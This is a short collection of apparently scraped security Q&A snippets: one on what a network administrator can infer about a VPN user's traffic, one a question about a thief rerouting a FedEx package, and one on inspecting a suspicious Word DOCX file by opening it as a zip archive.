The MAC address alone is (normally) already sufficient to track you, i.e. notice that it is still you if you disconnect and reconnect later on. The MAC address can be changed in software, but the other elements (IP address of the VPN server, OS type and version...) will most probably allow reliable tracking nonetheless.

If you use a VPN and the VPN is any good, then the nosy sysadmin will not be able to see the contents of your traffic; however, he may still infer things because he will know when you exchange data and how much data you exchange. E.g. he will be able to distinguish between Web browsing and online gaming. He will also be able to distinguish between accesses to Youtube and to Stack Exchange, if he already knows somehow that you are connecting to one of these two sites.

If your VPN is poorly configured (i.e. if your DNS requests are not sent through the VPN), then the sysadmin will know the names of all the sites you browse.


If a hacker were to obtain a shipping tracking number what could be compromised?

I just had my iPad shipment re-routed from FedEx to a local store where the thief signed for the package with a name almost exactly as mine.
I ordered the iPad via cell phone/internet without wifi connected.
I checked the routing a few times via the same cell phone...

Somehow the thief now has my iPad and FedEx says there is nothing they can do about it.


Suspicious 2 page, no image Word Docx has 1.7 MB

Yes a Word doc can contain a virus.  Rename the DOCX to zip and you can open it with WinZip or another tool.

This will expose all OLE embedded data, however it's possible that the individual files in that Winzip are virus vectors (JPG, etc)